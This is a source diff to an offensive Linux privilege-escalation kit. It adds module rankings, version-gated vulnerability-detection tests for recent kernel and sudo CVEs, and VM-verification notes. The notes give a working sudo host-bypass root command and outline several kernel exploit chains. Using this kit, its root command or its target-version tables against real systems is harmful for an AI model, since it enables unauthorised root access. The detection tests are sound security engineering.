* pattern + rationale. `--auto` must never block on a tty prompt. */
snprintf(cmd, sizeof cmd, "%s -n -l </dev/null 2>/dev/null", sudo_path);
FILE *p = popen(cmd, "r"); FILE *p = popen(cmd, "r");
if (!p) return false; if (!p) return false;
char line[512]; char line[512];
@@ -149,8 +149,13 @@ static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
static bool find_sudoedit_target(const char *sudo_path, char *out, size_t outsz) static bool find_sudoedit_target(const char *sudo_path, char *out, size_t outsz)
{ {
char cmd[512]; char cmd[512];
/* -n: non-interactive (no password prompt); -l: list. */ /* -n: non-interactive (no password prompt); -l: list. The two flags
snprintf(cmd, sizeof cmd, "%s -ln 2>&1", sudo_path); * are written separately and stdin is redirected from /dev/null so
* sudo cannot fall back to a tty prompt even if the local PAM stack
* tries to coerce one (some sudoers + pam_unix configurations have
* been observed prompting despite `-n` when the flags are bundled
* as `-ln`). Belt-and-suspenders so `--auto` never blocks on input. */
snprintf(cmd, sizeof cmd, "%s -n -l </dev/null 2>&1", sudo_path);
FILE *p = popen(cmd, "r"); FILE *p = popen(cmd, "r");
if (!p) return false; if (!p) return false;
@@ -56,6 +56,7 @@ static const struct kernel_patched_from tioscpgrp_patched_branches[] = {
{4, 14, 213}, /* 4.14 LTS */ {4, 14, 213}, /* 4.14 LTS */
{4, 19, 165}, /* 4.19 LTS */ {4, 19, 165}, /* 4.19 LTS */
{5, 4, 85}, /* 5.4 LTS */ {5, 4, 85}, /* 5.4 LTS */
{5, 9, 15}, /* Debian-tracked 5.9 backport */
{5, 10, 0}, /* mainline fix in 5.10 */ {5, 10, 0}, /* mainline fix in 5.10 */
}; };
+7 -1
View File
@@ -35,7 +35,7 @@
#include <string.h> #include <string.h>
#include <unistd.h> #include <unistd.h>
#define SKELETONKEY_VERSION "0.9.4" #define SKELETONKEY_VERSION "0.9.13"
static const char BANNER[] = static const char BANNER[] =
"\n" "\n"
@@ -1003,6 +1003,7 @@ static int module_safety_rank(const char *n)
/* Higher = safer. Run highest-ranked vulnerable module. */ /* Higher = safer. Run highest-ranked vulnerable module. */
if (!strcmp(n, "pwnkit")) return 100; /* userspace, no kernel */ if (!strcmp(n, "pwnkit")) return 100; /* userspace, no kernel */
if (!strcmp(n, "sudoedit_editor")) return 99; /* structural argv */ if (!strcmp(n, "sudoedit_editor")) return 99; /* structural argv */
if (!strcmp(n, "sudo_host")) return 96; /* structural; needs a host-restricted sudoers rule */
if (!strcmp(n, "cgroup_release_agent")) return 98; /* structural, no offsets */ if (!strcmp(n, "cgroup_release_agent")) return 98; /* structural, no offsets */
if (!strcmp(n, "overlayfs_setuid")) return 97; /* structural setuid */ if (!strcmp(n, "overlayfs_setuid")) return 97; /* structural setuid */
if (!strcmp(n, "overlayfs")) return 96; /* userns + xattr */ if (!strcmp(n, "overlayfs")) return 96; /* userns + xattr */
@@ -1014,9 +1015,14 @@ static int module_safety_rank(const char *n)
if (!strcmp(n, "dirtydecrypt") || if (!strcmp(n, "dirtydecrypt") ||
!strcmp(n, "fragnesia")) return 87; /* ported page-cache writes; version-pinned detect, exploit NOT VM-verified */ !strcmp(n, "fragnesia")) return 87; /* ported page-cache writes; version-pinned detect, exploit NOT VM-verified */
if (!strcmp(n, "ptrace_traceme")) return 85; /* userspace cred race */ if (!strcmp(n, "ptrace_traceme")) return 85; /* userspace cred race */
if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */
if (!strcmp(n, "cifswitch")) return 86; /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */ if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */ if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
if (!strcmp(n, "stackrot")) return 15; /* very low win% */ if (!strcmp(n, "stackrot")) return 15; /* very low win% */
if (!strcmp(n, "bad_epoll")) return 12; /* reconstructed epoll teardown race UAF; a won race frees a live struct file and rarely trips KASAN (silent-corruption risk), primitive-only/not VM-verified */
if (!strcmp(n, "ghostlock")) return 11; /* reconstructed rtmutex/futex requeue-PI stack UAF; a won race corrupts the kernel stack + writes a near-arbitrary pointer (immediate-panic risk), primitive-only/not VM-verified — least predictable in the corpus */
if (!strcmp(n, "entrybleed")) return 0; /* leak only, not LPE */ if (!strcmp(n, "entrybleed")) return 0; /* leak only, not LPE */
return 50; /* kernel primitives — middle of pack */ return 50; /* kernel primitives — middle of pack */
} }
+285
View File
@@ -68,6 +68,12 @@ extern const struct skeletonkey_module sudo_runas_neg1_module;
extern const struct skeletonkey_module tioscpgrp_module; extern const struct skeletonkey_module tioscpgrp_module;
extern const struct skeletonkey_module vsock_uaf_module; extern const struct skeletonkey_module vsock_uaf_module;
extern const struct skeletonkey_module nft_pipapo_module; extern const struct skeletonkey_module nft_pipapo_module;
extern const struct skeletonkey_module ptrace_pidfd_module;
extern const struct skeletonkey_module sudo_host_module;
extern const struct skeletonkey_module cifswitch_module;
extern const struct skeletonkey_module nft_catchall_module;
extern const struct skeletonkey_module bad_epoll_module;
extern const struct skeletonkey_module ghostlock_module;
static int g_pass = 0; static int g_pass = 0;
static int g_fail = 0; static int g_fail = 0;
@@ -725,6 +731,285 @@ static void run_all(void)
&nft_pipapo_module, &h_kernel_4_4, &nft_pipapo_module, &h_kernel_4_4,
SKELETONKEY_OK); SKELETONKEY_OK);
/* ── ptrace_pidfd (CVE-2026-46333) ───────────────────────────
* Version-pinned: predates-gate at pidfd_getfd's 5.6 introduction,
* then Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7. */
/* kernel 4.4 predates the pidfd_getfd vector (added 5.6) → OK */
run_one("ptrace_pidfd: kernel 4.4 predates pidfd_getfd (5.6) → OK",
&ptrace_pidfd_module, &h_kernel_4_4,
SKELETONKEY_OK);
/* 5.5.99 is one below the 5.6 vector introduction → OK */
struct skeletonkey_host h_pidfd_5_5_99 =
mk_host(h_kernel_6_12, 5, 5, 99, "5.5.99-test");
run_one("ptrace_pidfd: 5.5.99 below pidfd_getfd (5.6) → OK",
&ptrace_pidfd_module, &h_pidfd_5_5_99,
SKELETONKEY_OK);
/* 5.15.5 has the vector and is below every fix backport → VULNERABLE */
struct skeletonkey_host h_pidfd_5_15_5 =
mk_host(h_kernel_6_12, 5, 15, 5, "5.15.5-test");
run_one("ptrace_pidfd: 5.15.5 (vector + below all fixes) → VULNERABLE",
&ptrace_pidfd_module, &h_pidfd_5_15_5,
SKELETONKEY_VULNERABLE);
/* 6.12.87 one below the trixie backport → VULNERABLE */
struct skeletonkey_host h_pidfd_6_12_87 =
mk_host(h_kernel_6_12, 6, 12, 87, "6.12.87-test");
run_one("ptrace_pidfd: 6.12.87 (one below 6.12.88 backport) → VULNERABLE",
&ptrace_pidfd_module, &h_pidfd_6_12_87,
SKELETONKEY_VULNERABLE);
/* 6.12.88 exact trixie backport → OK via patch table */
struct skeletonkey_host h_pidfd_6_12_88 =
mk_host(h_kernel_6_12, 6, 12, 88, "6.12.88-test");
run_one("ptrace_pidfd: 6.12.88 (exact backport) → OK via patch table",
&ptrace_pidfd_module, &h_pidfd_6_12_88,
SKELETONKEY_OK);
/* 7.1.0 is newer than every entry → mainline-inherited fix → OK */
struct skeletonkey_host h_pidfd_7_1_0 =
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
run_one("ptrace_pidfd: 7.1.0 above all backports → OK (mainline inherit)",
&ptrace_pidfd_module, &h_pidfd_7_1_0,
SKELETONKEY_OK);
/* ── sudo_host (CVE-2025-32462) ──────────────────────────────
* Version-gated on sudo [1.8.8, 1.9.17p0]; fixed 1.9.17p1.
* Assumes sudo is installed on the runner (as the other sudo_*
* rows do detect() PRECOND_FAILs without a setuid sudo). */
/* vulnerable sudo 1.8.31 (in range) → VULNERABLE */
run_one("sudo_host: sudo 1.8.31 (in range) → VULNERABLE",
&sudo_host_module, &h_vuln_sudo,
SKELETONKEY_VULNERABLE);
/* fixed sudo 1.9.17p1 → OK (note: 1.9.13p1 is still vulnerable to
* THIS CVE, so h_fixed_sudo can't be reused here) */
struct skeletonkey_host h_sudo_host_fixed = h_kernel_6_12;
strcpy(h_sudo_host_fixed.sudo_version, "1.9.17p1");
run_one("sudo_host: sudo 1.9.17p1 (fixed) → OK",
&sudo_host_module, &h_sudo_host_fixed,
SKELETONKEY_OK);
/* sudo 1.8.6 predates the -h behaviour (< 1.8.8) → OK */
struct skeletonkey_host h_sudo_host_old = h_kernel_6_12;
strcpy(h_sudo_host_old.sudo_version, "1.8.6");
run_one("sudo_host: sudo 1.8.6 (pre-1.8.8) → OK",
&sudo_host_module, &h_sudo_host_old,
SKELETONKEY_OK);
/* sudo 1.9.17 plain (== 1.9.17p0) → VULNERABLE (fix is p1) */
struct skeletonkey_host h_sudo_host_1917 = h_kernel_6_12;
strcpy(h_sudo_host_1917.sudo_version, "1.9.17");
run_one("sudo_host: sudo 1.9.17 (==p0, pre-p1 fix) → VULNERABLE",
&sudo_host_module, &h_sudo_host_1917,
SKELETONKEY_VULNERABLE);
/* ── cifswitch (CVE-2026-46243) ──────────────────────────────
* Version-gated on Debian backports 5.10.257 / 6.1.174 / 6.12.90 /
* 7.0.10. The VULNERABLE/PRECOND_FAIL split below the fix depends on
* whether the cifs.upcall userspace path is present; we drive that
* deterministically with SKELETONKEY_CIFS_ASSUME_PRESENT (1=present,
* 0=absent) so the rows don't depend on cifs-utils being installed on
* the runner. Patched-kernel rows return OK before the probe, so they
* need no override. */
/* patched branch (exact 6.12.90 backport) → OK regardless of cifs */
struct skeletonkey_host h_ciw_61290 =
mk_host(h_kernel_6_12, 6, 12, 90, "6.12.90-test");
run_one("cifswitch: 6.12.90 (exact backport) → OK via patch table",
&cifswitch_module, &h_ciw_61290,
SKELETONKEY_OK);
/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
struct skeletonkey_host h_ciw_710 =
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
run_one("cifswitch: 7.1.0 above all backports → OK (mainline inherit)",
&cifswitch_module, &h_ciw_710,
SKELETONKEY_OK);
/* vulnerable kernel (one below 6.12.90) + cifs path present → VULNERABLE */
struct skeletonkey_host h_ciw_61289 =
mk_host(h_kernel_6_12, 6, 12, 89, "6.12.89-test");
setenv("SKELETONKEY_CIFS_ASSUME_PRESENT", "1", 1);
run_one("cifswitch: 6.12.89 + cifs.upcall present → VULNERABLE",
&cifswitch_module, &h_ciw_61289,
SKELETONKEY_VULNERABLE);
/* same vulnerable kernel but cifs path absent → PRECOND_FAIL */
setenv("SKELETONKEY_CIFS_ASSUME_PRESENT", "0", 1);
run_one("cifswitch: 6.12.89 but cifs-utils absent → PRECOND_FAIL",
&cifswitch_module, &h_ciw_61289,
SKELETONKEY_PRECOND_FAIL);
unsetenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
/* ── nft_catchall (CVE-2026-23111) ───────────────────────────
* Version-gated: predates-gate at catch-all set elements (~5.13),
* then Debian backports 6.1.164 / 6.12.71 / 7.0.10, PLUS unprivileged
* user_ns clone required (else PRECOND_FAIL). h_kernel_6_12 allows
* userns; h_kernel_5_14_no_userns denies it. */
/* 5.12.50 predates catch-all set elements (~5.13) → OK */
struct skeletonkey_host h_nca_512 =
mk_host(h_kernel_6_12, 5, 12, 50, "5.12.50-test");
run_one("nft_catchall: 5.12.50 predates catch-all (~5.13) → OK",
&nft_catchall_module, &h_nca_512,
SKELETONKEY_OK);
/* 6.1.164 exact backport → OK via patch table */
struct skeletonkey_host h_nca_61164 =
mk_host(h_kernel_6_12, 6, 1, 164, "6.1.164-test");
run_one("nft_catchall: 6.1.164 (exact backport) → OK via patch table",
&nft_catchall_module, &h_nca_61164,
SKELETONKEY_OK);
/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
struct skeletonkey_host h_nca_710 =
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
run_one("nft_catchall: 7.1.0 above all backports → OK (mainline inherit)",
&nft_catchall_module, &h_nca_710,
SKELETONKEY_OK);
/* 6.1.163 (one below the 6.1.164 backport) + userns → VULNERABLE */
struct skeletonkey_host h_nca_61163 =
mk_host(h_kernel_6_12, 6, 1, 163, "6.1.163-test");
run_one("nft_catchall: 6.1.163 + userns allowed → VULNERABLE",
&nft_catchall_module, &h_nca_61163,
SKELETONKEY_VULNERABLE);
/* 6.12.70 (one below the 6.12.71 backport) + userns → VULNERABLE */
struct skeletonkey_host h_nca_61270 =
mk_host(h_kernel_6_12, 6, 12, 70, "6.12.70-test");
run_one("nft_catchall: 6.12.70 + userns allowed → VULNERABLE",
&nft_catchall_module, &h_nca_61270,
SKELETONKEY_VULNERABLE);
/* same vulnerable kernel but unprivileged userns denied → PRECOND_FAIL */
struct skeletonkey_host h_nca_nouserns =
mk_host(h_kernel_5_14_no_userns, 6, 1, 163, "6.1.163-nouserns-test");
run_one("nft_catchall: 6.1.163 but userns denied → PRECOND_FAIL",
&nft_catchall_module, &h_nca_nouserns,
SKELETONKEY_PRECOND_FAIL);
/* ── bad_epoll (CVE-2026-46242) ──────────────────────────────
* Pure version gate: vulnerable iff >= 6.4 (bug introduced
* 58c9b016e128) AND below the fix on-branch (stable backport
* 7.0.13; 7.1+ inherits via mainline). NO userns/CONFIG
* precondition epoll is reachable by every unprivileged user, so
* there is deliberately no PRECOND_FAIL path to test. userns state
* of the base host is irrelevant here. */
/* 6.1.100 predates the vulnerable epoll path (introduced 6.4) → OK */
struct skeletonkey_host h_bep_61 =
mk_host(h_kernel_6_12, 6, 1, 100, "6.1.100-test");
run_one("bad_epoll: 6.1.100 predates the bug (introduced 6.4) → OK",
&bad_epoll_module, &h_bep_61,
SKELETONKEY_OK);
/* 6.12.70 in range [6.4, 7.0.13) → VULNERABLE (no userns needed) */
struct skeletonkey_host h_bep_61270 =
mk_host(h_kernel_6_12, 6, 12, 70, "6.12.70-test");
run_one("bad_epoll: 6.12.70 in range → VULNERABLE (no userns gate)",
&bad_epoll_module, &h_bep_61270,
SKELETONKEY_VULNERABLE);
/* 7.0.5 on the 7.0 branch, below the 7.0.13 backport → VULNERABLE */
struct skeletonkey_host h_bep_705 =
mk_host(h_kernel_6_12, 7, 0, 5, "7.0.5-test");
run_one("bad_epoll: 7.0.5 below the 7.0.13 backport → VULNERABLE",
&bad_epoll_module, &h_bep_705,
SKELETONKEY_VULNERABLE);
/* 7.0.13 exact backport → OK via patch table */
struct skeletonkey_host h_bep_70130 =
mk_host(h_kernel_6_12, 7, 0, 13, "7.0.13-test");
run_one("bad_epoll: 7.0.13 (exact backport) → OK via patch table",
&bad_epoll_module, &h_bep_70130,
SKELETONKEY_OK);
/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
struct skeletonkey_host h_bep_710 =
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
run_one("bad_epoll: 7.1.0 above the backport → OK (mainline inherit)",
&bad_epoll_module, &h_bep_710,
SKELETONKEY_OK);
/* ── ghostlock (CVE-2026-43499) ──────────────────────────────
* Pure version gate over a FIVE-branch backport table (fixed
* 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175 on-branch, 7.1+
* inherits mainline; introduced 2.6.39). Unlike bad_epoll's single
* entry, this exercises kernel_range_is_patched()'s "strictly newer
* than ALL entries" mainline-inherit clause: 6.13.x is newer than
* some entries but not all, so it must stay VULNERABLE. The 5.x/4.19
* LTS branches are affected with NO upstream fix. No userns/CONFIG
* precondition (CVSS PR:L, any local user). */
/* 2.6.30 predates PI-futex requeue (introduced 2.6.39) → OK */
struct skeletonkey_host h_ghl_2630 =
mk_host(h_kernel_6_12, 2, 6, 30, "2.6.30-test");
run_one("ghostlock: 2.6.30 predates PI-futex requeue → OK",
&ghostlock_module, &h_ghl_2630,
SKELETONKEY_OK);
/* 5.10.200 — affected LTS with NO upstream stable fix → VULNERABLE */
struct skeletonkey_host h_ghl_510 =
mk_host(h_kernel_6_12, 5, 10, 200, "5.10.200-test");
run_one("ghostlock: 5.10.200 (no upstream fix on 5.10) → VULNERABLE",
&ghostlock_module, &h_ghl_510,
SKELETONKEY_VULNERABLE);
/* 6.1.174 one below the 6.1.175 backport → VULNERABLE */
struct skeletonkey_host h_ghl_61174 =
mk_host(h_kernel_6_12, 6, 1, 174, "6.1.174-test");
run_one("ghostlock: 6.1.174 below the 6.1.175 backport → VULNERABLE",
&ghostlock_module, &h_ghl_61174,
SKELETONKEY_VULNERABLE);
/* 6.1.175 exact backport → OK via patch table */
struct skeletonkey_host h_ghl_61175 =
mk_host(h_kernel_6_12, 6, 1, 175, "6.1.175-test");
run_one("ghostlock: 6.1.175 (exact backport) → OK via patch table",
&ghostlock_module, &h_ghl_61175,
SKELETONKEY_OK);
/* 6.12.85 one below the 6.12.86 backport → VULNERABLE */
struct skeletonkey_host h_ghl_61285 =
mk_host(h_kernel_6_12, 6, 12, 85, "6.12.85-test");
run_one("ghostlock: 6.12.85 below the 6.12.86 backport → VULNERABLE",
&ghostlock_module, &h_ghl_61285,
SKELETONKEY_VULNERABLE);
/* 6.13.0 — newer than 6.12.86 but OLDER than 6.18.27/7.0.4, EOL
* branch with no fix must stay VULNERABLE ("newer than ALL" test). */
struct skeletonkey_host h_ghl_6130 =
mk_host(h_kernel_6_12, 6, 13, 0, "6.13.0-test");
run_one("ghostlock: 6.13.0 newer than some entries but not all → VULNERABLE",
&ghostlock_module, &h_ghl_6130,
SKELETONKEY_VULNERABLE);
/* 7.0.3 one below the 7.0.4 backport → VULNERABLE */
struct skeletonkey_host h_ghl_7003 =
mk_host(h_kernel_6_12, 7, 0, 3, "7.0.3-test");
run_one("ghostlock: 7.0.3 below the 7.0.4 backport → VULNERABLE",
&ghostlock_module, &h_ghl_7003,
SKELETONKEY_VULNERABLE);
/* 7.0.4 exact backport → OK */
struct skeletonkey_host h_ghl_7004 =
mk_host(h_kernel_6_12, 7, 0, 4, "7.0.4-test");
run_one("ghostlock: 7.0.4 (exact backport) → OK via patch table",
&ghostlock_module, &h_ghl_7004,
SKELETONKEY_OK);
/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
struct skeletonkey_host h_ghl_710 =
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
run_one("ghostlock: 7.1.0 above all backports → OK (mainline inherit)",
&ghostlock_module, &h_ghl_710,
SKELETONKEY_OK);
/* ── coverage report ───────────────────────────────────────── /* ── coverage report ─────────────────────────────────────────
* Iterate the runtime registry (populated by skeletonkey_register_* * Iterate the runtime registry (populated by skeletonkey_register_*
* calls in main()) and warn for any module that was not touched * calls in main()) and warn for any module that was not touched
+58
View File
@@ -284,3 +284,61 @@ nft_pipapo:
kernel_version: "5.15.5" kernel_version: "5.15.5"
expect_detect: VULNERABLE expect_detect: VULNERABLE
notes: "CVE-2024-26581; nft_pipapo destroy-race (Notselwyn II). Same mainline 5.15.5 target as nf_tables works here — 5.15.5 is below the 5.15.149 backport. (Switched from apt-pinned 5.15.0-43 after that package was removed from Ubuntu repos.) Userns gate must be open (sysctl kernel.unprivileged_userns_clone=1)." notes: "CVE-2024-26581; nft_pipapo destroy-race (Notselwyn II). Same mainline 5.15.5 target as nf_tables works here — 5.15.5 is below the 5.15.149 backport. (Switched from apt-pinned 5.15.0-43 after that package was removed from Ubuntu repos.) Userns gate must be open (sysctl kernel.unprivileged_userns_clone=1)."
# ── ptrace_pidfd (CVE-2026-46333) addition ──────────────────────────
ptrace_pidfd:
box: ubuntu2204
kernel_pkg: ""
mainline_version: "5.15.5" # >5.6 (has pidfd_getfd) and below every fix backport
kernel_version: "5.15.5"
expect_detect: VULNERABLE
notes: "CVE-2026-46333; __ptrace_may_access dumpable-race credential-fd theft via pidfd_getfd. Qualys disclosure 2026-05-20, fixed 2026-05-14 mainline (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7). Mainline 5.15.5 carries the pidfd_getfd vector (added 5.6) and is below every fix backport, so detect() returns VULNERABLE; installed via kernel.ubuntu.com/mainline/v5.15.5/ (same box/kernel as nf_tables / af_unix_gc / nft_pipapo). Brand-new addition this cycle: exploit() fires the real pidfd_getfd steal primitive and reports a captured root-owned fd, but the full target-specific root-pop is not yet VM-verified — sweep pending."
# ── sudo_host (CVE-2025-32462) addition ─────────────────────────────
sudo_host:
box: ubuntu1804 # ships sudo 1.8.21p2 — inside [1.8.8, 1.9.17p0]
kernel_pkg: ""
kernel_version: "4.15.0"
expect_detect: VULNERABLE
notes: "CVE-2025-32462; sudo -h/--host policy bypass (Stratascale, sibling of sudo_chwoot). Ubuntu 18.04 ships sudo 1.8.21p2, inside the vulnerable range [1.8.8, 1.9.17p0] (fixed 1.9.17p1), so detect() returns VULNERABLE on the version gate. Exercising exploit() empirically needs a sudoers rule scoped to a host other than the box hostname (and not ALL): provision e.g. 'vagrant fakehost = (ALL) NOPASSWD: ALL' in /etc/sudoers.d/, then 'SKELETONKEY_SUDO_HOST=fakehost skeletonkey --exploit sudo_host --i-know' pops root via 'sudo -h fakehost /bin/bash'. Brand-new addition this cycle; provisioner + sweep pending."
# ── cifswitch (CVE-2026-46243) addition ─────────────────────────────
cifswitch:
box: ubuntu2404
kernel_pkg: ""
kernel_version: "6.8.0-117-generic"
expect_detect: VULNERABLE
verified: partial # detect() + add_key primitive confirmed; full root-pop + patched-kernel discriminator pending
verified_on: "2026-06-08 — Ubuntu 24.04.4 LTS, kernel 6.8.0-117-generic, QEMU/HVF (x86_64)"
notes: "CVE-2026-46243 'CIFSwitch'; cifs.spnego key type trusts userspace-forged authority fields (Asim Manizada, 2026-05-28). Fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of commit 3da1fdf4efbc, mainline 7.1-rc5); a ~19-year-old bug below those. PARTIALLY VM-VERIFIED 2026-06-08 on Ubuntu 24.04.4 / 6.8.0-117 (QEMU/HVF): (1) `modprobe cifs` registers the cifs.spnego key type (dmesg 'Key type cifs.spnego registered') — cifs-utils not required to reach the primitive; (2) an INDEPENDENT python ctypes add_key('cifs.spnego', forged uid/creduid/upcall_target) was ACCEPTED (serial 374940108; a `user`-key control also accepted), and the module's own exploit() reported 'primitive CONFIRMED' (serial 294765294) then honest EXPLOIT_FAIL; (3) detect() correctly returned PRECOND_FAIL with cifs-utils absent, and VULNERABLE under SKELETONKEY_CIFS_ASSUME_PRESENT=1. STILL PENDING: (a) a PATCHED kernel (>=6.12.90 / 7.0.10) to prove add_key is REJECTED there (i.e. that the probe discriminates fixed-from-vulnerable, not merely that the key type always allows userspace creation), and (b) the full user+mount-namespace + malicious-NSS root-pop, which is not bundled. Reproduce via tools/verify-vm or the QEMU offline harness used on 2026-06-08 (cloud image + payload iso, no guest networking needed)."
# ── nft_catchall (CVE-2026-23111) addition ──────────────────────────
nft_catchall:
box: ubuntu2204
kernel_pkg: ""
mainline_version: "6.1.163" # one below the 6.1.164 backport; userns required
kernel_version: "6.1.163"
expect_detect: VULNERABLE
notes: "CVE-2026-23111; nf_tables nft_map_catchall_activate abort-path UAF (inverted '!'). Public reproduction by FuzzingLabs; fixed upstream f41c5d1, Debian backports 6.1.164 (bookworm) / 6.12.73 (trixie) / 6.18.10 (sid); 5.10/bullseye still unfixed. detect() version-gates (catch-all set elements ~5.13; thresholds 6.1.164/6.12.73/6.18.10) AND requires unprivileged user_ns clone — a vulnerable kernel with userns locked (apparmor_restrict_unprivileged_userns / sysctl 0) is PRECOND_FAIL. exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes nft_chain/cg-256 slabinfo, returns EXPLOIT_FAIL (primitive-only). The per-kernel leak + R/W + modprobe_path ROP is NOT bundled, and the trigger is RECONSTRUCTED from public analysis — NOT yet VM-verified. Provisioner: ensure unprivileged userns enabled (sysctl kernel.unprivileged_userns_clone=1 / drop apparmor restriction). A KASAN kernel will oops on a real fire; sweep + trigger validation pending."
# ── bad_epoll (CVE-2026-46242) addition ─────────────────────────────
bad_epoll:
box: ubuntu2404
kernel_pkg: ""
kernel_version: "6.8.0-generic" # >= 6.4 (bug introduced 58c9b016e128) and below the 7.0.13 backport → VULNERABLE by version
expect_detect: VULNERABLE
notes: "CVE-2026-46242 'Bad Epoll'; epoll ep_remove-vs-__fput teardown race UAF (Jaeyoung Chung / J-jaeyoung kernelCTF PoC). Introduced 6.4 (58c9b016e128); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1); trixie 6.12.x still vulnerable, 6.1/5.10 not affected (code not present). detect() is a PURE version gate — no userns/CONFIG probe, because epoll is reachable by every unprivileged user; on Ubuntu 24.04 stock 6.8.0 (in [6.4, 7.0.13)) it returns VULNERABLE. To also confirm the PATCHED verdict, boot a >= 7.0.13 / 7.1 kernel and expect OK. exploit() forks a CPU-pinned child that builds the epoll race pair (waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a HARD-BOUNDED 48 attempts / 2s, widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. DELIBERATELY UNDER-DRIVEN: a won race frees a live struct eventpoll (real corruption that rarely trips KASAN → possible SILENT destabilisation on a vulnerable host), so the module does NOT grind the race to a win, does NOT perform the cross-cache reclaim, and does NOT bundle the /proc/self/fdinfo arb-read + ROP root-pop. Trigger RECONSTRUCTED from the public kernelCTF PoC — NOT VM-verified. Lowest --auto safety rank (12). Provisioner caution: run only in a throwaway VM/snapshot — even the bounded trigger can, on a rare win, corrupt or panic a vulnerable kernel. Detection is intentionally weak (epoll syscalls ubiquitous); no yara. Sweep + trigger validation pending."
# ── ghostlock (CVE-2026-43499) addition ─────────────────────────────
ghostlock:
box: ubuntu2404
kernel_pkg: ""
kernel_version: "6.8.0-generic" # >= 2.6.39, below the on-branch fix (no 6.8 backport; not newer than all entries) → VULNERABLE by version
expect_detect: VULNERABLE
notes: "CVE-2026-43499 'GhostLock'; rtmutex/futex requeue-PI remove_waiter() stack UAF (VEGA / Nebula Security, 'IonStack part II'; public PoC in NebuSec/CyberMeowfia, Apache-2.0). Introduced 2.6.39 (PI-futex requeue); fixed 3bfdc63936dd (7.1-rc1), stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175; 5.15/5.10/5.4/4.19 affected with NO upstream fix. detect() is a PURE version gate over that five-branch table — no userns/CONFIG probe (CVSS PR:L, any local user; CONFIG_FUTEX_PI assumed, near-universal); on Ubuntu 24.04 stock 6.8.0 (below the fix, not newer than all entries) it returns VULNERABLE. To also confirm the PATCHED verdict, boot a >= 7.0.4 / 6.12.86 / 6.6.140 / 6.1.175 on-branch or 7.1 kernel and expect OK; the multi-branch table is exercised by the 9 detect() unit rows in tests/test_detect.c (incl. 6.13.0 → VULNERABLE, the 'newer than some entries but not all' case). exploit() forks an isolated child that (A) deterministically confirms the -EDEADLK remove_waiter() rollback path is reachable (SAFE — without a concurrent priority walk the unwind creates no dangling pointer; validated on real hardware) and (B) exercises the actual race a HARD-BOUNDED 24 iterations / 2s with a sibling-CPU sched_setattr(SCHED_BATCH) storm on the waiter tid, then stops. DELIBERATELY UNDER-DRIVEN: does NOT widen the copy_from_user window (no memfd/PUNCH_HOLE), does NOT spray/reoccupy the freed kernel-stack frame, and does NOT bundle the KernelSnitch page leak → forged rt_mutex_waiter → fops/configfs/ashmem/pipe R/W → cred patch (Android/Pixel-specific, per-build offsets). Trigger RECONSTRUCTED from the public PoC — NOT VM-verified. Lowest --auto safety rank (11). Provisioner caution: run only in a throwaway VM/snapshot — a WON Phase-B race corrupts the kernel STACK and drives a near-arbitrary pointer write (near-certain PANIC on a vulnerable kernel). Detection has a real signature (futex requeue-PI returning EDEADLK + sibling sched_setattr(SCHED_BATCH)); no yara. Sweep + trigger validation pending."